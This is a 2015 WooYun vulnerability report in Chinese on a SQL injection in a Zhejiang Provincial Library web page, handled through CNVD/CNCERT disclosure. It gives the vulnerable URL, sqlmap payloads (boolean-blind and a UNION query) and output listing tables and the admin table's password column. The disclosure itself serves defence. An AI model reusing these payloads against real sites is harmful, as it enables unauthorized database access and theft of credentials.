当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103107

漏洞标题:浙江省图书馆某SQL注入

相关厂商:浙江省图书馆

漏洞作者: 暗羽

提交时间:2015-03-25 12:34

修复时间:2015-05-14 08:44

公开时间:2015-05-14 08:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商已经确认,细节仅向厂商公开
2015-04-09: 细节向核心白帽子及相关领域专家公开
2015-04-19: 细节向普通白帽子公开
2015-04-29: 细节向实习白帽子公开
2015-05-14: 细节向公众公开

简要描述:

SQL注入,可出数据

详细说明:

注入点:http://www.zjlib.cn/shutui/shownews.asp?id=25

GET parameter 'id' is vulnerable. Do you want to keep testin
g the others (if any)? [y/N]
sqlmap identified the following injection points with a tota
l of 29 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=25 AND 7044=7044
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=-2630 UNION ALL SELECT NULL,NULL,CHR(113)&CH
R(106)&CHR(112)&CHR(112)&CHR(113)&CHR(89)&CHR(89)&CHR(122)&C
HR(70)&CHR(86)&CHR(88)&CHR(120)&CHR(77)&CHR(121)&CHR(117)&CH
R(113)&CHR(122)&CHR(120)&CHR(98)&CHR(113),NULL,NULL,NULL,NUL
L,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[22:14:16] [INFO] testing Microsoft Access
[22:14:16] [INFO] confirming Microsoft Access
[22:14:16] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[22:14:16] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 28 times
[22:14:16] [INFO] fetched data logged to text files under 'C
:\Users\DarkWing\.sqlmap\output\www.zjlib.cn'
[*] shutting down at 22:14:16


Database: Microsoft_Access_masterdb
[3 tables]
+----------+
| admin |
| download |
| news |
+----------+


Database: Microsoft_Access_masterdb
Table: admin
[7 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| content | non-numeric |
| data | non-numeric |
| id | numeric |
| ip | non-numeric |
| logins | numeric |
| name | non-numeric |
| password | non-numeric |
+----------+-------------+
[22:22:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2503 times
[22:22:21] [INFO] fetched data logged to text files under 'C
:\Users\DarkWing\.sqlmap\output\www.zjlib.cn'
[*] shutting down at 22:22:21


就到这里没继续深入,没有dump具体的内容

漏洞证明:

Database: Microsoft_Access_masterdb
[3 tables]
+----------+
| admin |
| download |
| news |
+----------+


Database: Microsoft_Access_masterdb
Table: admin
[7 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| content | non-numeric |
| data | non-numeric |
| id | numeric |
| ip | non-numeric |
| logins | numeric |
| name | non-numeric |
| password | non-numeric |
+----------+-------------+
[22:22:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2503 times
[22:22:21] [INFO] fetched data logged to text files under 'C
:\Users\DarkWing\.sqlmap\output\www.zjlib.cn'
[*] shutting down at 22:22:21

修复方案:

过滤

版权声明:转载请注明来源 暗羽@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-30 08:43

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置.

最新状态:

暂无